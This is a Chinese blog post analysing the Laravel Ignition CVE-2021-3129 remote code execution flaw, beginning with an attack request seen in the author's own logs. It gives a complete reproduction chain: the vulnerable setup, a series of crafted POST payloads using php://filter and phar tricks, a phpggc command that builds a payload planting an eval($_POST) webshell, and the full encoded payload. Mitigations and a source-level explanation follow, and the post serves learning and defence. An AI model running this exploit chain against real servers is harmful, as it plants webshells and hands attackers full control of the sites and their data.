Erlo

深入理解Laravel(CVE-2021-3129)RCE漏洞(超2万字从源码分析黑客攻击流程)

2023-12-01 20:18:49 发布   122 浏览  
页面报错/反馈
收藏 点赞

背景

近期查看公司项目的请求日志,发现有一段来自俄罗斯首都莫斯科(根据IP是这样,没精力溯源)的异常请求,看传参就能猜到是EXP攻击,不是瞎扫描瞎传参的那种。日志如下(已做部分修改):

[2023-11-17 23:54:34] local.INFO: 
url      : http://xxx/_ignition/execute-solution
method   : POST
ip       : 109.237.96.251
ua       : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
payload  : {"solution":"Facade\Ignition\Solutions\MakeViewVariableOptionalSolution","parameters":{"variableName":"zzzz","viewFile":"php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
file     : []
header   : {"content-type":"application/json"}
time     : 38.50
mem      : 20 MB
user_id  : 0
response : ""

还有几个请求日志特别长,需要多个请求一起利用才可Pwn,在此处就不展示了。

临时解决:

发现漏洞时已经是半夜了,考虑到防止公司项目中招又不影响业务。直接封禁了这个莫斯科的IP,并直接在框架的public目录下建立了_ignition/execute-solution目录,因为nginx访问目录的优先级比laravel路由优先级高,再次访问就是403了。
等配置完了,最后发现是虚惊一场,因为项目用了更高的laravel和Ignition版本,生产与测试环境的版本已经是打过补丁的版本了。

有人说世界上的黑客分两种,一种是俄罗斯黑客,一种是其它国家的黑客,黑客千千万,可见俄罗斯黑客的实力。这么好的对抗黑客案例怎么能视而不见,值得挑战,从源码盘它

漏洞利用环境:

Laravel Ignition

漏洞成因:

整体:
Ignition组件有路由对外开放,且未做充分的过滤逻辑,在Laravel中利用php://filter协议编码将日志当做phar文件使用,利用phar反序列化漏洞,组成调用链,可生成一句话木马。
关键点:
./vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php文件中的makeOptional中的file_get_contents()参数未进行过滤,参数又是对外的开放的,且run()方法又直接将不安全的数据保存到了文件,部分源码如下:

    public function makeOptional(array $parameters = [])
    {
        $originalContents = file_get_contents($parameters['viewFile']);
        $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);

        $originalTokens = token_get_all(Blade::compileString($originalContents));
        $newTokens = token_get_all(Blade::compileString($newContents));

        $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

        if ($expectedTokens !== $newTokens) {
            return false;
        }

        return $newContents;
    }
    
    
    public function run(array $parameters = []) 
    {   
        $output = $this->makeOptional($parameters);
        if ($output !== false) {
            file_put_contents($parameters['viewFile'], $output);
        }
    }

危险程度:

可生成一句话木马,利用一句话木马,PHP可以对文件,对数据库,进行各种增删改查操作,相当于服务器沦陷,危险程度可想而知。

漏洞利用复现步骤:

1. 配置具有RCE的环境,并启动项目(需开启Laravel框架debug模式)

git clone https://github.com/laravel/laravel.git
cd laravel
git checkout e849812
composer install
composer require facade/ignition==2.5.1
cp .env.example .env
#使用服务器启动项目或者php artisan serve看个人喜好,我的访问站点是192.168.3.180

2. 发送如下POST请求,如果发现报错,证明前置流程已经走通。

url: http://192.168.3.180/_ignition/execute-solution
method: post
payload:
{
    "solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
    "parameters": {
        "variableName": "zzzz",
        "viewFile": "larvel.log"
    }
}

若程序提示ErrorException: file_get_contents(larvel.log): failed to open stream: No such file or directory in file说明环境配置正确。

3. 发送请求,清空日志文件,留出空间用于存放漏洞数据数据

#这一步不能报错,如果报错,请重新再来
url: http://192.168.3.180/_ignition/execute-solution
method: post
payload:
{
	"solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
	"parameters": {
		"variableName": "zzzz",
		"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
	}
}

4. 发送以下内容,用于日志格式对齐

#这一步报错没关系
url: http://192.168.3.180/_ignition/execute-solution
method: post
{
  "solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "AA"
  }
}

5. 使用phpggc生成phar编码后的序列化利用POC(注意路径是定制化的)

#此处的/Host/laravel,实际上是根据之前的报错信息获取的,因为开启了debug模式。
php -d "phar.readonly=0" /test/phpggc/phpggc Laravel/RCE5 "$c='echo PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+| base64 -d > /Host/laravel/public/server.php';system($c);exec($c);shell_exec($c);eval('file_put_contents("/Host/laravel/public/s.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+"));');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:]+ '=00' for i in sys.stdin.read()]).upper())"

#将生成出来的poc再次发送给laravel项目,记得将乱码的末尾添加一个a,这一步报错没关系
url: http://192.168.3.180/_ignition/execute-solution
method: post
{
	"solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
	"parameters": {
		"variableName": "username",
		"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=72=00=6B=00=41=00=67=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=75=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=79=00=4E=00=54=00=51=00=36=00=49=00=6A=00=77=00=2F=00=63=00=47=00=68=00=77=00=49=00=43=00=52=00=6A=00=50=00=53=00=64=00=6C=00=59=00=32=00=68=00=76=00=49=00=46=00=42=00=45=00=4F=00=58=00=64=00=68=00=53=00=45=00=46=00=6E=00=57=00=6C=00=68=00=61=00=61=00=47=00=4A=00=44=00=5A=00=32=00=74=00=59=00=4D=00=55=00=4A=00=51=00=56=00=54=00=46=00=53=00=59=00=6B=00=6F=00=79=00=52=00=57=00=35=00=59=00=55=00=32=00=73=00=33=00=53=00=55=00=51=00=34=00=4B=00=33=00=77=00=67=00=59=00=6D=00=46=00=7A=00=5A=00=54=00=59=00=30=00=49=00=43=00=31=00=6B=00=49=00=44=00=34=00=67=00=4C=00=30=00=68=00=76=00=63=00=33=00=51=00=76=00=62=00=47=00=46=00=79=00=59=00=58=00=5A=00=6C=00=62=00=43=00=39=00=77=00=64=00=57=00=4A=00=73=00=61=00=57=00=4D=00=76=00=63=00=32=00=56=00=79=00=64=00=6D=00=56=00=79=00=4C=00=6E=00=42=00=6F=00=63=00=43=00=63=00=37=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=4B=00=43=00=52=00=6A=00=4B=00=54=00=74=00=6C=00=65=00=47=00=56=00=6A=00=4B=00=43=00=52=00=6A=00=4B=00=54=00=74=00=7A=00=61=00=47=00=56=00=73=00=62=00=46=00=39=00=6C=00=65=00=47=00=56=00=6A=00=4B=00=43=00=52=00=6A=00=4B=00=54=00=74=00=6C=00=64=00=6D=00=46=00=73=00=4B=00=43=00=64=00=6D=00=61=00=57=00=78=00=6C=00=58=00=33=00=42=00=31=00=64=00=46=00=39=00=6A=00=62=00=32=00=35=00=30=00=5A=00=57=00=35=00=30=00=63=00=79=00=67=00=69=00=4C=00=30=00=68=00=76=00=63=00=33=00=51=00=76=00=62=00=47=00=46=00=79=00=59=00=58=00=5A=00=6C=00=62=00=43=00=39=00=77=00=64=00=57=00=4A=00=73=00=61=00=57=00=4D=00=76=00=63=00=79=00=35=00=77=00=61=00=48=00=41=00=69=00=4C=00=43=00=42=00=69=00=59=00=58=00=4E=00=6C=00=4E=00=6A=00=52=00=66=00=5A=00=47=00=56=00=6A=00=62=00=32=00=52=00=6C=00=4B=00=43=00=4A=00=51=00=52=00=44=00=6C=00=33=00=59=00=55=00=68=00=42=00=5A=00=31=00=70=00=59=00=57=00=6D=00=68=00=69=00=51=00=32=00=64=00=72=00=57=00=44=00=46=00=43=00=55=00=46=00=55=00=78=00=55=00=6D=00=4A=00=4B=00=4D=00=6B=00=56=00=75=00=57=00=46=00=4E=00=72=00=4E=00=30=00=6C=00=45=00=4F=00=43=00=73=00=69=00=4B=00=53=00=6B=00=37=00=4A=00=79=00=6B=00=37=00=49=00=47=00=56=00=34=00=61=00=58=00=51=00=37=00=49=00=44=00=38=00=2B=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=6E=00=52=00=68=00=54=00=5A=00=51=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=78=00=70=00=55=00=50=00=36=00=64=00=78=00=54=00=61=00=73=00=5A=00=2B=00=50=00=68=00=55=00=73=00=47=00=31=00=6C=00=44=00=31=00=59=00=79=00=47=00=48=00=4A=00=4D=00=43=00=41=00=41=00=41=00=41=00=52=00=30=00=4A=00=4E=00=51=00=67=00=3D=00=3D=00a"
	}
}

6. 发送如下数据,清空对log文件中的其它字符,只留下POC(和清空日志的一样)

url: http://192.168.3.180/_ignition/execute-solution
method: post
payload:
{
	"solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
	"parameters": {
		"variableName": "username",
		"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
	}
}

#如果这一步出错,请重新再来,这一步不能报错,如果报错,下面的流程走不下去。

7. 使用phar协议触发序列化生成一句话木马(注意路径是定制化的)

url: http://192.168.3.180/_ignition/execute-solution
method: post
{
	"solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
	"parameters": {
		"variableName": "username",
		"viewFile": "phar:///Host/laravel/storage/logs/laravel.log"
	}
}

8. 检测一句话木马存在

此时已经在项目的public目录下,生成了s.php和server.php的一句话木马,内容为


解决方案

  1. 或直接升级laravel和Ignition版本,laravel需要8.4.2以上,Ignition需要2.5.1以上。
  2. 或简单粗暴,或者直接在public目录下创建_ignition/execute-solution目录(千万别让强迫症同事删了,哈哈)。
  3. 或关闭debug模式。
  4. 或在vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php的makeOptional()中临时加入以下代码:
if (! Str::startsWith($path, ['/', './'])) {
    return false;
}
if (! Str::endsWith($path, '.blade.php')) {
    return false;
}
//缺点就是代码库不会被同步,一般情况下vendor下的文件是不推荐修改的。

扩展知识

facade/ignition 扩展作用

是Laravel debug模式下,在程序报错时用于展现漂亮的错误页面的扩展。

为什么要开启debug模式才有下效

vendor/facade/ignition/src/IgnitionServiceProvider.php中设定的路由有前置中间件,调用了vendor/facade/ignition/src/Http/Middleware/IgnitionEnabled.php中间件,中间件对debug配置有验证

php://filter协议是什么

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents()、file_put_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
简单用法案例:

//将字符串base64编码后存入文件
file_put_contents("php://filter/write=convert.base64-encode/resource=example.txt","Hello World");
//从文件中读取数据并base64解码
file_get_contents("php://filter/read=convert.base64-decode/resource=example.txt");

为什么此次攻击要用php://filter?

传入的参数被file_get_contents()接收,file_get_contents()和file_put_contents()支持php://filter协议,起到把转码类型的字符串当做代码来解析的作用。如果传入php函数会被当做字符串去处理,而不会当做代码去执行。毕竟php也不会有这么大漏洞,随便传递php脚本就当做代码执行。

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log的技术性作用?

|:相当于linux的管道符号。
write:向数据流中写入数据,后面跟写入的数据流。
resource:要筛选过滤的数据流,参数跟文件路径。
convert:代表做格式转换的关键字。
iconv:转码关键字。
utf-8.utf-16le:utf-8转为utf-16le编码,注意转化后的数据占两个字节,还可能会产生不可打印字符。
quoted-printable-decode:将文本转换为 quoted-printable 格式。Quoted-printable 是一种用于将非 ASCII 字符编码为 ASCII 字符的传输编码方式,可参考PHP的quoted_printable_encode()函数,用来打印不可见字符的,因为utf-8.utf-16le转化之后,utf16-le字符的编码占两个字节,会出现一些不可打印的字符,此时为了防止file_get_contents()加载NULL字节的数据会导致PHP Warning: file_get_contents() expects parameter 1 to be a valid path, string given in php shell code on line n产生的错误。
base64-decode:顾名思义,base64解码,但要注意,解码过程中会忽略掉非Base64字符的数据。
../storage/logs/laravel.log:被操作的文件。以public/index.php作为参考系。

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log为什么会清空日志?

vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php文件

makeOptional方法中的读操作:
参数接受的是原封不动传递过来的json,只要$parameters['viewFile']参数存在且可访问,那么$originalContents变量就可以获取日志的数据,流程能走到这个阶段,证明读文件没啥问题,此方法后续的代码可以直接跳过。
run方法中的写操作:
参数接受的是原封不动传递过来的json,makeOptional方法是被上方紧挨着的run方法调用,调用makeOptional方法后只要结果不是false,然后就写入文件。

所以这次请求的核心逻辑,提取出来,也就相当于
$file_content = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $file_content);
而且viewFile就是php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

再次精炼:
$file = "php://filter/write=convert.iconv.utf-8.utf-16le|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=F:/a.txt";
file_put_contents($file, 'text');

再次精炼(移除convert.quoted-printable-decode,照样可清空日志):
file_put_contents("php://filter/write=convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log", 'aaaabbbcc');

转化:
file_put_contents参数1可以理解成file_put_contents('../storage/logs/laravel.log', base64_decode(iconv('utf-16le', 'utf-8', file_get_contents('../storage/logs/laravel.log'))));
当base64_decode函数的操作数据无法解码时会直接忽略,整个日志文件都无法被base64解码,base64只能返回空字符串,也就是内容,php://filter中resource参数是用于定位要操作的文件。
由于没加FILE_APPEND,那么会导致这个函数会清空文件数据后再在追加数据,追加给谁,和追加什么数据,就是刚才说的内容和文件。
file_put_contents参数2参数没追加到文件中,也可能是这个函数机制问题,曾经反复尝试,就是没有执行。

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log为什么能在日志中产生符合phar规范的恶意代码?

写入日志的流程同上,就不过多赘述了。
phpggc用来生成laravel反序列化漏洞,而上文使用php命令行生成phar文件,使用python来转码phar文件。
传入请求后, 只要能到file_get_contents()函数,至少传入的恶意代码,是可以写入到日志的,那怕是file_get_contents()报错,因为报错信息会携带编码过的恶意代码保存到日志,这也是能够传入恶意payload的主要原因。
当传入成功之后,进行了一遍quoted-printable-decode,把传入的payload变成了base64的数据,其余的日志不发生变化。然后将utf-16le.utf-8,此时其余的日志文件会发生乱码,但是恶意payload以前已经被转成utf-16le,此时转化为utf-8不会报错,而且能正常解析,到这一步可分离出正常代码与恶意代码。此时恶意payload是base64的,但是其余的乱码字符不是,由于base64的特性,遇到不是非base64字符的会忽略,然后日志文件也就剩下恶意代码了,然后走接下来的file_put_contents流程被写入日志,此时的日志文件已经成为了phar文件,如果使用phar,就可以执行它。

quoted_printable_decode()在本次攻击中的逻辑作用?

清除日志时,这个函数没有什么作用,关键是在向日志中传递恶意payload时,解码传递的payload为base64格式。

第五步时,python命令暗含quoted_printable_encode()的作用?

在第五步时,已经实现了quoted_printable_encode(),目的是为了防止执行file_get_contents()时

登录查看全部

参与评论

评论留言

还没有评论留言,赶紧来抢楼吧~~

手机查看

返回顶部

给这篇文章打个标签吧~

棒极了 糟糕透顶 好文章 PHP JAVA JS 小程序 Python SEO MySql 确认